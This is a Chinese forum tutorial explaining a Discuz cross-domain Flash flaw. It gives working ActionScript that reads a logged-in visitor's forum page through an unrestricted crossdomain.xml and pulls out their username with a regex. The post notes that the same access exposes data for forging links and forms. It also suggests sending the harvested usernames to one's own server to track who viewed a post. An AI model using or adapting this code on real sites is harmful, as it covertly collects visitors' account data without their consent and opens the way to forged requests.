discuz論壇程序通過flash調用用戶名實現「XXX,記得回帖」的原理,同一個swf文件每個人看到的都是針對自己的名字。
很久以前,應該可以追溯到2015年的時候,discuz論壇爆出一個漏洞,flash的跨域讀取問題,其實這個問題存在許久,只是沒拿到明面上說而已,那麼這個漏洞到底可以幹什麼呢?又可以做什麼實驗呢?這裡我只簡單的提一條,當然他的作用不僅僅如此,腦洞大的同學可以舉一反三。(別做破壞)
先看效果
(如果沒有問題的話上面效果應該是你的 會員名,記得回帖哦 沒有效果點擊播放或者刷新下看看,未做多端測試,懶)
類似的情況和部分簽名獲取ip顯示什麼瀏覽器什麼ip什麼天氣之類的類似,運用的技術確是天差地別,危害程度也是不一樣的。
原理什麼的最有意思了
那我們開始介紹原理,就是利用flash可以跨域讀取問題,問題的根源是crossdomain.xml,這裡沒有做跨域訪問限制,當然默認discuz也沒有做,即使做了也有方法繞過,這裡不延申。
那麼簡單明瞭的說,跨域讀取有什麼效果呢?
在當前網頁右擊,查看源代碼,你登錄後的源代碼和登錄前的源代碼是不一樣的,我們能讀取的是登錄後的源碼,登錄後的源碼裡面包含了很多有用的東西,如果獲取相關信息之後,構造鏈接,構造表單,這中間的危害不言而喻,我們這裡只用其中的一個小東西,用戶名,我們在flash中寫下如下源碼。
- package {
- import flash.display.Sprite;
- import flash.events.*;
- import flash.net.*;
- import flash.utils.ByteArray;
- import flash.system.*;
- import flash.text.*;
-
-
- public class MainTimeline extends Sprite {
-
- public function MainTimeline() {
- var loader:URLLoader = new URLLoader();
- configureListeners(loader);
- System.useCodePage = true;
- var url:String = "http://www.xxx.com/";
- loader.load(new URLRequest(url));
-
-
-
- }
- private function configureListeners(dispatcher:IEventDispatcher):void {
-
- dispatcher.addEventListener(Event.COMPLETE, completeHandler);
-
- }
- private function completeHandler(event:Event):void {
- var loader:URLLoader = URLLoader(event.target);
- var str:String = loader.data;
- //trace(str);
- var pattern:RegExp = /<a href="space-uid-(.*?)\.html" target="_blank" title="訪問我的空間">(.*?)<\/a>/;
-
-
- var result:Object = pattern.exec(str);
-
-
- if(pattern.exec(str) == null){
- //tt.text = 'null';
- }else{
- //tt.text = result[1] + " " + result[2];
- var datas:String = result[2] +"記得回帖哦!";
- xx.text = datas;
- }
-
-
- }
-
-
- }
- }
複製代碼 大致的作用就是獲取論壇首頁源代碼,在中間正則匹配出用戶名然後,利用flash的動態文本賦值,拼接出 xxx,記得回帖哦,當然還可以弄的更逼真,例如和帖子字體統一,swf大小適當縮放到一定比例,這裡就不美化了。
拓展
好了教程就到這裡了,最後大家可以想想這個實驗功能的延伸,例如誰看過我得帖子,發了一個福利貼,看過的人幾千,然而回復的人只有幾百,如果能知道誰看了我得帖子,嘿嘿,當你獲取到用戶名,你完全可以發送到服務器接受,然後保存起來,最後你就會有一個列表,這裡面就是看過你帖子的人。
|